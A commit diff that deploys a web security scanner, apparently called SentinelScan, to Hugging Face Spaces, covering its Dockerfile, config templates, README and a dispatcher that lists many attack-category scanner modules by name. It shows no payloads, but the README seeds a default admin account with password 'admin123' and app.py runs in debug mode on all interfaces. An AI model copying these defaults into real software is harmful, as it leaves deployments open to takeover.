Deploy SentinelScan WSS to HF Spaces

.env.example

@@ -0,0 +1,35 @@
+# ============================================================================
+# SentinelScan (WSS) — Environment Variables
+# Copy this file to .env and fill in your actual values.
+# ============================================================================
+
+# --- Flask ---
+FLASK_ENV=development
+JWT_SECRET=your-super-secret-jwt-key-here
+
+# --- Database (GCP Cloud SQL — PostgreSQL) ---
+DATABASE_URL=postgresql://user:password@host:5432/dbname
+
+# --- Redis (Celery broker) ---
+CELERY_BROKER_URL=redis://localhost:6379/0
+CELERY_RESULT_BACKEND=redis://localhost:6379/0
+
+# --- Firebase Cloud Storage ---
+FIREBASE_CREDENTIALS=serviceAccountKey.json
+FIREBASE_STORAGE_BUCKET=your-project-id.appspot.com
+
+# --- Local uploads (fallback when Firebase is not configured) ---
+# UPLOAD_FOLDER=./uploads/logos
+
+# --- Email (Resend) ---
+RESEND_API_KEY=re_your_resend_api_key
+
+# --- Stripe (payments) ---
+STRIPE_SECRET_KEY=sk_live_your_stripe_key
+
+# --- External URLs ---
+FRONTEND_URL=http://localhost:3000
+
+# --- Scanner tuning ---
+SCANNER_RATE_LIMIT=60
+SCANNER_RATE_WINDOW=60

.gitattributes

@@ -33,3 +33,10 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+frontend/public/larshieldlogowhite.png filter=lfs diff=lfs merge=lfs -text
+frontend/public/logo.jpg filter=lfs diff=lfs merge=lfs -text
+frontend/public/report_barchart.png filter=lfs diff=lfs merge=lfs -text
+frontend/public/reports/API_Security_Assessment_Methodology.pdf filter=lfs diff=lfs merge=lfs -text
+frontend/public/reports/Deep_Scan_Report.pdf filter=lfs diff=lfs merge=lfs -text
+frontend/public/reports/Mobile_App_Penetration_Testing_Guide_2026.pdf filter=lfs diff=lfs merge=lfs -text
+frontend/src/assets/Larxius[[:space:]]White[[:space:]]logo.jpg filter=lfs diff=lfs merge=lfs -text

.gitignore

@@ -0,0 +1,77 @@
+# === Secrets / Credentials ===
+.env
+serviceAccountKey.json
+*.pem
+*.key
+
+# === Python ===
+__pycache__/
+*.py[cod]
+*$py.class
+*.egg-info/
+*.egg
+dist/
+build/
+*.so
+*.pyd
+
+# === Virtual Environments ===
+venv/
+.venv/
+env/
+ENV/
+
+# === IDE ===
+.vscode/
+.idea/
+*.swp
+*.swo
+*~
+
+# === OS ===
+.DS_Store
+Thumbs.db
+desktop.ini
+
+# === Logs ===
+*.log
+security_events.log
+
+# === Pytest / Coverage ===
+.pytest_cache/
+.coverage
+htmlcov/
+
+# === Database (local SQLite) ===
+*.db
+*.sqlite3
+
+# === Uploads (moved to Firebase Storage) ===
+uploads/
+
+# === Frontend build/dist ===
+frontend/node_modules/
+frontend/dist/
+frontend/dist-ssr/
+
+# === Migrations (unused scaffolding) ===
+migrations/
+
+# === Tools (scanner binaries, download at runtime) ===
+Tools/
+
+# === Brand assets (not runtime) ===
+larxiius logo.jpg
+
+# === Large doc artifacts ===
+docs/*.pdf
+docs/*.docx
+
+# === Node ===
+node_modules/
+
+# === Misc ===
+*.local
+*.bak
+*.tmp
+*.orig

Dockerfile

@@ -0,0 +1,48 @@
+# ============================================================================
+# SentinelScan — Single-container build for Hugging Face Spaces
+# Multi-stage: builds React frontend, then bundles with Flask backend
+# ============================================================================
+
+# --- Stage 1: Build React frontend ---
+FROM node:20-alpine AS frontend-build
+
+WORKDIR /app/frontend
+COPY frontend/package.json frontend/package-lock.json* ./
+RUN npm ci
+COPY frontend/ .
+RUN npm run build
+
+# --- Stage 2: Python backend + built frontend ---
+FROM python:3.11-slim
+
+WORKDIR /app
+
+# Install system deps: gcc (C extensions), nmap (Nmap scanner), libpq (psycopg2)
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    gcc \
+    libpq-dev \
+    nmap \
+    && rm -rf /var/lib/apt/lists/*
+
+# Install Python dependencies
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+
+# Copy backend source
+COPY backend/ backend/
+COPY backend_structured/ backend_structured/
+COPY app.py .
+COPY .env.example .
+
+# Copy built React frontend from Stage 1
+COPY --from=frontend-build /app/frontend/dist/ frontend/dist/
+
+# Production env defaults (HF Secrets override these at runtime)
+ENV FLASK_ENV=production \
+    PYTHONUNBUFFERED=1
+
+EXPOSE 7860
+
+CMD ["gunicorn", "--bind", "0.0.0.0:7860", "--workers", "1", \
+     "--timeout", "300", "-k", "geventwebsocket.gunicorn.workers.GeventWebSocketWorker", \
+     "app:app"]

README.md

@@ -1,10 +1,254 @@
----
-title: SentinelScan WSS
-emoji: 🏢
-colorFrom: yellow
-colorTo: yellow
-sdk: docker
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
+# 🛡️ SentinelScan — Website Security Scanner (WSS)
+
+SentinelScan is a full-stack, enterprise-grade **Dynamic Application Security Testing (DAST)** platform designed to automate vulnerability detection across target domains and web APIs. Featuring a highly modular architecture, SentinelScan orchestrates a pipeline of custom security scanning agents concurrently, storing findings in a structured database and presenting them in a premium, real-time dashboard.
+
+---
+
+## 🚀 Key Features
+
+* **Multi-Agent Concurrency**: Uses an asynchronous thread pool execution model (`ThreadPoolExecutor`) inside Celery tasks to run up to 17 specialized scanner modules in parallel.
+* **Real-time Log Streaming**: Captures and exposes live, color-coded execution logs in-memory, enabling users to monitor active scans line-by-line.
+* **Scheduled Scans**: Leverage Celery Beat to automate recurring scans (daily, weekly, monthly) for regular status monitoring.
+* **Alert Webhooks**: Automatically dispatches security alerts to external services (e.g., Discord, custom webhooks) when critical or high vulnerabilities are discovered.
+* **Authenticated Scanning**: Supports credentials/cookies injection via custom HTTP request headers, bypassing login perimeters to test deep backend routes.
+* **Interactive Remediation**: Offers interactive, language-specific code remediation templates for each identified vulnerability type.
+* **Dynamic PDF Reports**: Generates professional PDF summaries of completed scans, containing detailed risk score matrices and remediation guidelines.
+
+---
+
+## 📁 Directory Structure
+
+```text
+Project-WSS/
+├── backend/                        # Flask Backend Application
+│   ├── app/                        # Main Flask Application Package
+│   │   ├── routes/                 # REST API Endpoints & Route Blueprints
+│   │   │   ├── auth.py             # User Authentication (Login, Register)
+│   │   │   ├── reports.py          # PDF Generation and Scan Reports
+│   │   │   ├── scans.py            # Scan Configuration, Triggering, Logs
+│   │   │   └── vulnerabilities.py  # Remediation & Vulnerability Queries
+│   │   ├── scanners/               # Security Engine Modules & Core Pipelines
+│   │   │   ├── __init__.py         # Pipeline Definitions and Class Dispatcher
+│   │   │   ├── api_scanner.py      # Exposed REST API Route Finder
+│   │   │   ├── base_scanner.py     # Abstract Base Class and Shared Log Utilities
+│   │   │   ├── cloud_scanner.py    # Public S3/Cloud Storage Auditor
+│   │   │   ├── cors_scanner.py     # CORS Misconfigurations Tester
+│   │   │   ├── cve_scanner.py      # Vulnerability Database Version Matcher
+│   │   │   ├── directory_scanner.py# Directory/File brute-forcer
+│   │   │   ├── fuzzer_scanner.py   # SQLi & XSS Parameter Fuzzer
+│   │   │   ├── headers_scanner.py  # HTTP Security Headers & Cache Poisoning
+│   │   │   ├── nmap_scanner.py     # Port & Service Banner Scanner (via Nmap)
+│   │   │   ├── nuclei_scanner.py   # Nuclei Template-based Scanner
+│   │   │   ├── robots_scanner.py   # robots.txt Crawler
+│   │   │   ├── secrets_scanner.py  # Page Secrets/API Key Scanner
+│   │   │   ├── sslyze_scanner.py   # SSL/TLS Configurations & Ciphers Auditor
+│   │   │   ├── subdomain_scanner.py# Subdomain DNS Enumerator
+│   │   │   ├── tech_scanner.py     # Technology Stack Fingerprinting
+│   │   │   ├── waf_scanner.py      # WAF Detection & Fingerprinting
+│   │   │   ├── whois_scanner.py    # Domain Registrar and Whois Lookup
+│   │   │   └── zap_scanner.py      # OWASP ZAP Active Spider Integration
+│   │   ├── utils/                  # Utility Scripts & Helpers
+│   │   │   ├── pdf_generator.py    # ReportLab PDF Generation
+│   │   │   └── webhook.py          # Discord & Webhook Dispatcher
+│   │   ├── database.py             # SQLAlchemy Extension Instance
+│   │   ├── extensions.py           # Rate Limiter & Security Extensions
+│   │   ├── models.py               # SQLAlchemy Database Models (SQLite/PostgreSQL)
+│   │   └── scanner.py              # Celery Tasks, Beat Schedules & Orchestration
+│   ├── celery_app.py               # Celery Broker and Beat Scheduler Configuration
+│   ├── config.py                   # Environment Variable Parsing and App Constants
+│   ├── requirements.txt            # Python Dependencies List
+│   ├── run.py                      # Flask Application Startup Launcher
+│   └── .env                        # Local Environment Secret Key Configurations
+│
+├── frontend/                       # React Frontend Application (Vite-powered SPA)
+│   ├── src/                        # React Application Source
+│   │   ├── assets/                 # SVGs, Fonts, and Static UI Elements
+│   │   ├── components/             # Reusable UI Components
+│   │   │   ├── AuthContext.jsx     # Global JWT Login State & API Interceptor
+│   │   │   ├── CodeBlock.jsx       # Syntax-highlighted Remediation Viewer
+│   │   │   ├── Layout.jsx          # Dashboard App Shell & Navigation Sidebar
+│   │   │   ├── ProtectedRoute.jsx  # Auth Check Router Wrapper
+│   │   │   └── ThreatGauge.jsx     # SVG Semi-circle Security Score Indicator
+│   │   ├── pages/                  # Top-level Routing View Pages
+│   │   │   ├── Dashboard.jsx       # Overview, Scan Metrics, and Status Cards
+│   │   │   ├── LandingPage.jsx     # Modern Dark Mode Promotional Marketing Page
+│   │   │   ├── Login.jsx           # Clean Secure Authentication Portal
+│   │   │   ├── NewScan.jsx         # Target, Pipeline and Cookie Configurations
+│   │   │   ├── Register.jsx        # Account Creation Portal
+│   │   │   ├── ReportsHistory.jsx  # Past Scan Lists and Export Center
+│   │   │   ├── ScanResults.jsx     # Vulnerability breakdown & Live terminal logs
+│   │   │   └── Settings.jsx        # Notification threshold & webhook configuration
+│   │   ├── App.css                 # Main Layout styling
+│   │   ├── App.jsx                 # Routing configuration
+│   │   ├── index.css               # Global theme tokens, inputs, animations
+│   │   ├── main.jsx                # DOM Injection root
+│   │   ├── mockApi.js              # Standalone local frontend mock testing DB
+│   │   └── theme.css               # Precision Sentinel palette values
+│   ├── vite.config.js              # React Hot Module Reloading server options
+│   └── package.json                # Frontend NPM scripts & dependencies
+│
+└── docker-compose.yml              # Multi-container orchestrator (Redis service)
+```
+
+---
+
+## 🏛️ System Architecture
+
+```mermaid
+graph TD
+    User([Security Auditor]) -->|Browser| FE[React Frontend SPA]
+    FE -->|API Requests| BE[Flask Web Backend]
+    BE -->|Store Scans/Vulns| DB[(SQLite / PostgreSQL)]
+    BE -->|Enqueue Jobs| Redis[(Redis Broker)]
+    Celery[Celery Task Workers] -->|Dequeue Jobs| Redis
+    Celery -->|Write Live Logs| MemLog[(In-Memory Logs)]
+    Celery -->|Execute Scanners Concurrently| Scanners{Scanner Suite}
+    Scanners -->|Target Requests| Target[Target System]
+    Scanners -->|Persist Findings| DB
+    Celery -->|Trigger Alert| Webhook[Webhook Notification]
+```
+
+### Backend Components
+1. **Flask (REST API)**: Exposes endpoints for managing accounts, starting scans, listing results, downloading PDFs, and tracking setting updates.
+2. **Celery Worker**: Dequeues scan tasks and runs them asynchronously. 
+3. **ThreadPoolExecutor**: Multi-threads individual scanners inside a Celery task.
+4. **Celery Beat**: Runs continuously to process scheduled periodic scans.
+5. **Redis**: Acts as the fast in-memory message broker.
+
+---
+
+## 🗄️ Database Schema
+
+The database schema, defined in `backend/app/models.py`, includes five main tables:
+
+1. **`User`**: Manages credential hashing (via `bcrypt`) and session links.
+2. **`Scan`**: Details the target domain, scan mode (Quick, Standard, Deep), authorization headers, overall security score, scan status, and timings.
+3. **`Vulnerability`**: Stores findings linked to a scan. Contains details like CVSS score, severity classification, category, description, and copy-pasteable remediation snippets.
+4. **`ScheduledScan`**: Saves user-configured scanning intervals (daily, weekly, monthly) for targets.
+5. **`AlertSettings`**: Manages notification flags, webhook URL destinations, and minimum severity thresholds.
+
+---
+
+## ⚙️ Scan Pipelines
+
+Pipeline routes are configured in `backend/app/scanners/__init__.py`. Depending on the target criticality and scan duration limits, auditors choose between:
+
+| Pipeline | Target Speed | Underlying Scanner Suite | Description |
+| :--- | :--- | :--- | :--- |
+| **`Quick`** | ~30 seconds | Headers, Nmap (top 100 ports), SSLyze, Tech stack, WHOIS, WAF | Surface audit for standard misconfigurations |
+| **`Standard`** | ~2–3 minutes | Quick + SQLi/XSS Fuzzer, Subdomains, API pathways, Cloud, Secrets, CVEs | Comprehensive assessment of application business logic |
+| **`Deep`** | ~10–15 minutes| Standard + CORS, robots.txt, Directory brute-force, Nuclei, ZAP (active) | Deep crawling and automated vulnerability exploitation |
+| **`SSL`** | ~15 seconds | SSLyze, Headers | SSL certificate validation and cipher security audit |
+| **`Port`** | ~45 seconds | Nmap (standard 1000 ports) | Port and network service banner reconnaissance |
+
+---
+
+## 🛠️ The Scanner Suite (17 Specialized Modules)
+
+Each scanner inherits from `BaseScanner` (`backend/app/scanners/base_scanner.py`) which coordinates logging, domain parsing, and vulnerability formatting:
+
+1. **Headers Scanner (`headers_scanner.py`)**: Checks HTTP security headers (HSTS, CSP, CORS, X-Frame-Options, permissions, Referrer policy) and runs a custom check for HTTP host parameter cache poisoning.
+2. **Nmap Scanner (`nmap_scanner.py`)**: Fires `nmap` commands directly via sub-process, checking exposed network services and testing for vulnerabilities using script scanning banners.
+3. **SSLyze Scanner (`sslyze_scanner.py`)**: Audits SSL certificates, verifying trust status, expiration, and highlighting weak legacy protocols (TLS 1.0, SSLv3).
+4. **Tech Scanner (`tech_scanner.py`)**: Fingerprints backend technologies, libraries, servers, and frameworks.
+5. **Whois Scanner (`whois_scanner.py`)**: Looks up registrar information, IP ownership, and registration details.
+6. **WAF Scanner (`waf_scanner.py`)**: Detects the presence of firewalls (Cloudflare, AWS WAF, ModSecurity, etc.) by inspecting response indicators.
+7. **CORS Scanner (`cors_scanner.py`)**: Audits cross-origin resource sharing declarations to prevent credential leaks.
+8. **Robots Scanner (`robots_scanner.py`)**: Parses target `robots.txt` entries to extract hidden directories or disallowed routes.
+9. **Directory Scanner (`directory_scanner.py`)**: Brute-forces directories using wordlists to discover hidden panels (`/admin`, `/phpmyadmin`, `/api/v1`).
+10. **Fuzzer Scanner (`fuzzer_scanner.py`)**: Performs automated query parameter fuzzing, validating parameters against Cross-Site Scripting (XSS) and SQL Injection (SQLi) patterns.
+11. **API Scanner (`api_scanner.py`)**: Maps routing interfaces, documenting open APIs and JSON payloads.
+12. **Cloud Scanner (`cloud_scanner.py`)**: Audits exposed public storage assets (AWS S3 Buckets, Azure Blobs, etc.).
+13. **Secrets Scanner (`secrets_scanner.py`)**: Scrapes source HTML code for exposed keys, AWS access IDs, and connection credentials.
+14. **CVE Scanner (`cve_scanner.py`)**: Cross-references identified technology versions against public vulnerability registries.
+15. **Nuclei Scanner (`nuclei_scanner.py`)**: Performs targeted scans using ProjectDiscovery's template engine.
+16. **ZAP Scanner (`zap_scanner.py`)**: Coordinates deep active spider scanning via the OWASP ZAP API integration.
+17. **CORS/API Helper Scanners**: Secondary scanners focused on validation and authorization testing.
+
+---
+
+## 🚀 Setup & Local Execution
+
+### Prerequisites
+* **Python 3.10+**
+* **Node.js v18+**
+* **Nmap** (must be added to system `PATH` environment variables)
+* **Redis** (running locally on port `6379`)
+
+---
+
+### Step 1: Start Redis
+You can run Redis using Docker:
+```bash
+docker-compose up -d
+```
+
+---
+
+### Step 2: Configure and Start Backend
+
+1. Navigate to the backend directory:
+   ```bash
+   cd backend
+   ```
+2. Create a virtual environment and activate it:
+   ```bash
+   python -m venv venv
+   # On Windows:
+   venv\Scripts\activate
+   # On Unix/macOS:
+   source venv/bin/activate
+   ```
+3. Install dependencies:
+   ```bash
+   pip install -r requirements.txt
+   ```
+4. Verify your `.env` configuration. Ensure the keys and configurations are correct.
+5. Seed the database and start the API server:
+   ```bash
+   python run.py
+   ```
+   *The Flask application will start on `http://127.0.0.1:5000`.*
+
+---
+
+### Step 3: Launch Celery Workers & Beat
+Keep your backend running, open two new terminal sessions (with the virtual environment activated), and run:
+
+1. **Celery Task Worker**:
+   ```bash
+   celery -A celery_app.celery worker --loglevel=info
+   ```
+2. **Celery Beat Scheduler**:
+   ```bash
+   celery -A celery_app.celery beat --loglevel=info
+   ```
+
+---
+
+### Step 4: Configure and Run Frontend
+
+1. Navigate to the frontend directory:
+   ```bash
+   cd ../frontend
+   ```
+2. Install npm modules:
+   ```bash
+   npm install
+   ```
+3. Start the Vite development server:
+   ```bash
+   npm run dev
+   ```
+   *The frontend application will boot on `http://localhost:5173`.*
+
+---
+
+## 🧪 Seeding and Testing
+
+On the first initialization, the database is pre-seeded with a default user and dummy mock security scan data so you can preview the platform immediately:
+
+* **Mock Account Email**: `admin@gmail.com`
+* **Mock Account Password**: `admin123`
+
+You can log in with these credentials, explore the interactive remediation code windows, trigger new scans, check your live-updating terminal dashboard logs, and download auto-generated PDF reports directly from the history view.

app.py

@@ -0,0 +1,41 @@
+import os
+import sys
+from dotenv import load_dotenv
+
+# Ensure environment variables are loaded
+load_dotenv()
+
+# Insert the backend module into the python path so its internal absolute imports work
+sys.path.insert(0, os.path.abspath('backend_structured'))
+
+# Import the application factory from our partitioned architecture
+from backend_structured import create_app
+
+# Initialize the Flask application
+app = create_app()
+
+# ---------------------------------------------------------------------------
+# Serve the built React frontend (HF Spaces / single-container mode)
+# In development the Vite dev-server proxies /api/ to Flask instead.
+# ---------------------------------------------------------------------------
+from flask import send_from_directory, abort
+
+FRONTEND_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'frontend', 'dist')
+
+
+@app.route('/', defaults={'path': ''})
+@app.route('/<path:path>')
+def serve_react(path):
+    """Serve React SPA. Static assets go to dist/, everything else → index.html."""
+    # Never intercept API or socket.io requests
+    if path.startswith('api/') or path.startswith('socket.io'):
+        abort(404)
+    if path and os.path.exists(os.path.join(FRONTEND_DIR, path)):
+        return send_from_directory(FRONTEND_DIR, path)
+    return send_from_directory(FRONTEND_DIR, 'index.html')
+
+
+if __name__ == '__main__':
+    from backend_structured.extensions import socketio
+    port = int(os.getenv('PORT', 7860))
+    socketio.run(app, host='0.0.0.0', port=port, debug=True)

backend/scanners/__init__.py

@@ -0,0 +1,453 @@
+"""
+__init__.py — Scanner pipeline dispatcher.
+Maps scan_type -> ordered list of scanner module classes.
+"""
+from .headers_scanner          import HeadersScanner
+from .nmap_scanner             import NmapScanner
+from .sslyze_scanner           import SslyzeScanner
+from .tech_scanner             import TechScanner
+from .whois_scanner            import WhoisScanner
+from .fuzzer_scanner           import FuzzerScanner
+from .path_traversal_scanner   import PathTraversalScanner
+from .nikto_scanner            import NiktoScanner
+from .subdomain_scanner        import SubdomainScanner
+from .waf_scanner              import WafScanner
+from .cors_scanner             import CorsScanner
+from .robots_scanner           import RobotsScanner
+from .directory_scanner        import DirectoryScanner
+from .zap_scanner              import ZapScanner
+from .nuclei_scanner           import NucleiScanner
+from .api_scanner              import ApiScanner
+from .secrets_scanner          import SecretsScanner
+from .cloud_scanner            import CloudScanner
+from .cve_scanner              import CveScanner
+from .xxe_scanner              import XxeScanner
+from .ssrf_scanner             import SsrfScanner
+from .jwt_scanner              import JwtScanner
+from .idor_scanner             import IdorScanner
+from .graphql_scanner          import GraphqlScanner
+from .race_condition_scanner   import RaceConditionScanner
+from .request_smuggling_scanner import RequestSmugglingScanner
+from .business_logic_scanner   import BusinessLogicScanner
+from .sql_injection_scanner    import SqlInjectionScanner
+from .websocket_scanner        import WebsocketScanner
+from .rate_limiting_scanner    import RateLimitingScanner
+from .whatweb_scanner          import WhatWebScanner
+from .dns_security_scanner     import DNSSecurityScanner
+from .custom_website_scanner   import CustomWebsiteScanner
+# ── Batch 1 (added previously) ────────────────────────────────────────────
+from .ssti_scanner             import SstiScanner
+from .open_redirect_scanner    import OpenRedirectScanner
+from .cookie_scanner           import CookieScanner
+from .csrf_scanner             import CsrfScanner
+from .lfi_scanner              import LfiScanner
+# ── Batch 2 (new) ─────────────────────────────────────────────────────────
+from .auth_scanner             import AuthScanner
+from .session_scanner          import SessionScanner
+from .csp_scanner              import CspScanner
+from .clickjacking_scanner     import ClickjackingScanner
+from .git_exposure_scanner     import GitExposureScanner
+from .dependency_scanner       import DependencyScanner
+from .attack_surface_scanner   import AttackSurfaceScanner
+from .compliance_scanner       import ComplianceScanner
+from .ai_remediation_scanner   import AiRemediationScanner
+
+# ── Batch 3: High Priority Gaps ───────────────────────────────────────────
+from .subdomain_takeover_scanner import SubdomainTakeoverScanner
+from .host_header_scanner      import HostHeaderScanner
+from .deserialization_scanner  import DeserializationScanner
+from .command_injection_scanner import CommandInjectionScanner
+from .crlf_scanner             import CrlfScanner
+from .cms_scanner              import CmsScanner
+from .file_upload_scanner      import FileUploadScanner
+
+# ── Batch 4: Medium Priority ──────────────────────────────────────────────
+from .nosql_scanner             import NosqlScanner
+from .cache_poisoning_scanner   import CachePoisoningScanner
+from .oauth_scanner             import OauthScanner
+from .prototype_pollution_scanner import PrototypePollutionScanner
+from .source_map_scanner        import SourceMapScanner
+from .swagger_scanner           import SwaggerScanner
+from .email_security_scanner    import EmailSecurityScanner
+from .xpath_scanner             import XpathScanner
+
+# ── Batch 5: Lower Priority ───────────────────────────────────────────────
+from .broken_link_scanner       import BrokenLinkScanner
+from .sri_scanner               import SriScanner
+from .mfa_bypass_scanner        import MfaBypassScanner
+from .mass_assignment_scanner   import MassAssignmentScanner
+from .http_pollution_scanner    import HttpPollutionScanner
+from .dns_rebinding_scanner     import DnsRebindingScanner
+from .exif_scanner              import ExifScanner
+from .tls_weakness_scanner      import TlsWeaknessScanner
+from .cert_transparency_scanner import CertTransparencyScanner
+from .redos_scanner             import RedosScanner
+
+# ─��� Batch 6: New Distinct Attack Vectors ─────────────────────────────────
+from .dom_xss_scanner           import DomXssScanner
+from .saml_scanner              import SamlScanner
+from .web_cache_deception_scanner import WebCacheDeceptionScanner
+from .http_method_tampering_scanner import HttpMethodTamperingScanner
+from .bypass_403_scanner        import Bypass403Scanner
+from .ldap_scanner              import LdapScanner
+from .blind_xss_scanner         import BlindXssScanner
+from .admin_panel_scanner       import AdminPanelScanner
+
+# ── Batch 7: Client-Side & Logic Gaps ────────────────────────────────────
+from .csti_scanner              import CstiScanner
+from .postmessage_scanner       import PostmessageScanner
+from .password_reset_scanner    import PasswordResetScanner
+from .cache_control_scanner     import CacheControlScanner
+from .second_order_scanner      import SecondOrderScanner
+from .webrtc_leak_scanner       import WebrtcLeakScanner
+from .service_worker_scanner    import ServiceWorkerScanner
+
+# ── Batch 8: Advanced Attack Techniques ──────────────────────────────────
+from .http2_desync_scanner       import Http2DesyncScanner
+from .js_supply_chain_scanner    import JsSupplyChainScanner
+from .api_security_scanner       import ApiSecurityScanner
+
+# ---------------------------------------------------------------------------
+# Pipeline definitions — order matters, runs top-to-bottom
+# AiRemediationScanner always runs LAST (post-processor)
+# ---------------------------------------------------------------------------
+PIPELINES = {
+    # ── Quick: fast, non-intrusive checks (~2 min) ─────────────────────────
+    "Quick": [
+        ("headers",       HeadersScanner,      {}),
+        ("nmap",          NmapScanner,         {"mode": "quick"}),
+        ("sslyze",        SslyzeScanner,       {}),
+        ("tech",          TechScanner,         {}),
+        ("whois",         WhoisScanner,        {}),
+        ("waf",           WafScanner,          {}),
+        ("dns_security",  DNSSecurityScanner,  {}),
+        ("cookies",       CookieScanner,       {}),
+        ("csp",           CspScanner,          {}),
+        ("clickjacking",  ClickjackingScanner, {}),
+        ("git_exposure",  GitExposureScanner,  {}),
+        ("compliance",    ComplianceScanner,   {}),
+        ("ai_remediation",AiRemediationScanner,{}),
+    ],
+
+    # ── Advanced: core vulnerability audit (~10-20 min) ────────────────────────
+    "Advanced": [
+        ("headers",          HeadersScanner,        {}),
+        ("nmap",             NmapScanner,           {"mode": "standard"}),
+        ("sslyze",           SslyzeScanner,         {}),
+        ("tech",             TechScanner,           {}),
+        ("whois",            WhoisScanner,          {}),
+        ("waf",              WafScanner,            {}),
+        ("dns_security",     DNSSecurityScanner,    {}),
+        ("cookies",          CookieScanner,         {}),
+        ("csp",              CspScanner,            {}),
+        ("clickjacking",     ClickjackingScanner,   {}),
+        ("git_exposure",     GitExposureScanner,    {}),
+        ("compliance",       ComplianceScanner,     {}),
+        ("whatweb",          WhatWebScanner,        {}),
+        ("cors",             CorsScanner,           {}),
+        ("robots",           RobotsScanner,         {}),
+        ("auth",             AuthScanner,           {}),
+        ("session",          SessionScanner,        {}),
+        ("dependency",       DependencyScanner,     {}),
+        ("fuzzer",           FuzzerScanner,         {}),
+        ("path_traversal",   PathTraversalScanner,  {}),
+        ("lfi",              LfiScanner,            {}),
+        ("nikto",            NiktoScanner,          {}),
+        ("sql_injection",    SqlInjectionScanner,   {}),
+        ("subdom",           SubdomainScanner,      {}),
+        ("custom_website",   CustomWebsiteScanner,  {}),
+        ("attack_surface",   AttackSurfaceScanner,  {}),
+        ("api",              ApiScanner,            {}),
+        ("cloud",            CloudScanner,          {}),
+        ("secrets",          SecretsScanner,        {}),
+        ("cve",              CveScanner,            {}),
+        ("ssrf",             SsrfScanner,           {}),
+        ("jwt",              JwtScanner,            {}),
+        ("csrf",             CsrfScanner,           {}),
+        ("open_redirect",    OpenRedirectScanner,   {}),
+        ("rate_limiting",    RateLimitingScanner,   {}),
+        ("ai_remediation",   AiRemediationScanner,  {}),
+    ],
+
+    # ── Deep: exhaustive + ZAP active (~2 h) ────────────────��─────────────
+    "Deep": [
+        ("headers",           HeadersScanner,        {}),
+        ("nmap",              NmapScanner,           {"mode": "deep"}),
+        ("sslyze",            SslyzeScanner,         {}),
+        ("tech",              TechScanner,           {}),
+        ("whatweb",           WhatWebScanner,        {}),
+        ("whois",             WhoisScanner,          {}),
+        ("dns_security",      DNSSecurityScanner,    {}),
+        ("cookies",           CookieScanner,         {}),
+        ("csp",               CspScanner,            {}),
+        ("clickjacking",      ClickjackingScanner,   {}),
+        ("cors",              CorsScanner,           {}),
+        ("robots",            RobotsScanner,         {}),
+        ("directory",         DirectoryScanner,      {}),
+        ("waf",               WafScanner,            {}),
+        ("auth",              AuthScanner,           {}),
+        ("session",           SessionScanner,        {}),
+        ("git_exposure",      GitExposureScanner,    {}),
+        ("dependency",        DependencyScanner,     {}),
+        ("fuzzer",            FuzzerScanner,         {"red_team": True}),
+        ("path_traversal",    PathTraversalScanner,  {}),
+        ("lfi",               LfiScanner,            {}),
+        ("nikto",             NiktoScanner,          {}),
+        ("subdom",            SubdomainScanner,      {}),
+        ("custom_website",    CustomWebsiteScanner,  {}),
+        ("attack_surface",    AttackSurfaceScanner,  {}),
+        ("api",               ApiScanner,            {}),
+        ("cloud",             CloudScanner,          {}),
+        ("secrets",           SecretsScanner,        {}),
+        ("cve",               CveScanner,            {}),
+        ("xxe",               XxeScanner,            {}),
+        ("ssrf",              SsrfScanner,           {}),
+        ("jwt",               JwtScanner,            {}),
+        ("ssti",              SstiScanner,           {}),
+        ("csrf",              CsrfScanner,           {}),
+        ("open_redirect",     OpenRedirectScanner,   {}),
+        ("idor",              IdorScanner,           {}),
+        ("graphql",           GraphqlScanner,        {}),
+        ("race_condition",    RaceConditionScanner,  {}),
+        ("request_smuggling", RequestSmugglingScanner,{}),
+        ("business_logic",    BusinessLogicScanner,  {}),
+        ("websocket",         WebsocketScanner,      {}),
+        ("rate_limiting",     RateLimitingScanner,   {}),
+        ("subdomain_takeover",SubdomainTakeoverScanner,{}),
+        ("host_header",       HostHeaderScanner,     {}),
+        ("deserialization",   DeserializationScanner,{}),
+        ("command_injection", CommandInjectionScanner,{}),
+        ("sql_injection",     SqlInjectionScanner,   {}),
+        ("crlf",              CrlfScanner,           {}),
+        ("cms",               CmsScanner,            {}),
+        ("file_upload",       FileUploadScanner,     {}),
+        ("nosql",             NosqlScanner,          {}),
+        ("cache_poisoning",   CachePoisoningScanner, {}),
+        ("oauth",             OauthScanner,          {}),
+        ("prototype_pollution",PrototypePollutionScanner,{}),
+        ("source_map",        SourceMapScanner,      {}),
+        ("swagger",           SwaggerScanner,        {}),
+        ("email_security",    EmailSecurityScanner,  {}),
+        ("xpath",             XpathScanner,          {}),
+        ("broken_link",       BrokenLinkScanner,     {}),
+        ("sri",               SriScanner,            {}),
+        ("mfa_bypass",        MfaBypassScanner,      {}),
+        ("mass_assignment",   MassAssignmentScanner, {}),
+        ("http_pollution",    HttpPollutionScanner,  {}),
+        ("dns_rebinding",     DnsRebindingScanner,   {}),
+        ("exif",              ExifScanner,           {}),
+        ("tls_weakness",      TlsWeaknessScanner,    {}),
+        ("cert_transparency", CertTransparencyScanner,{}),
+        ("redos",             RedosScanner,          {}),
+        ("dom_xss",           DomXssScanner,         {}),
+        ("saml",              SamlScanner,           {}),
+        ("cache_deception",   WebCacheDeceptionScanner,{}),
+        ("http_methods",      HttpMethodTamperingScanner,{}),
+        ("bypass_403",        Bypass403Scanner,      {}),
+        ("ldap",              LdapScanner,           {}),
+        ("blind_xss",         BlindXssScanner,       {}),
+        ("admin_panel",       AdminPanelScanner,     {}),
+        ("csti",              CstiScanner,           {}),
+        ("postmessage",       PostmessageScanner,    {}),
+        ("password_reset",    PasswordResetScanner,  {}),
+        ("cache_control",     CacheControlScanner,   {}),
+        ("second_order",      SecondOrderScanner,    {}),
+        ("webrtc",            WebrtcLeakScanner,     {}),
+        ("service_worker",    ServiceWorkerScanner,  {}),
+        ("compliance",        ComplianceScanner,     {}),
+        ("nuclei",            NucleiScanner,         {"severity": "critical,high,medium,low"}),
+        ("zap",               ZapScanner,            {"mode": "active"}),
+        # ── Advanced Techniques ────────────────────────────────
+        ("h2_desync",         Http2DesyncScanner,    {}),
+        ("js_supply_chain",   JsSupplyChainScanner,  {}),
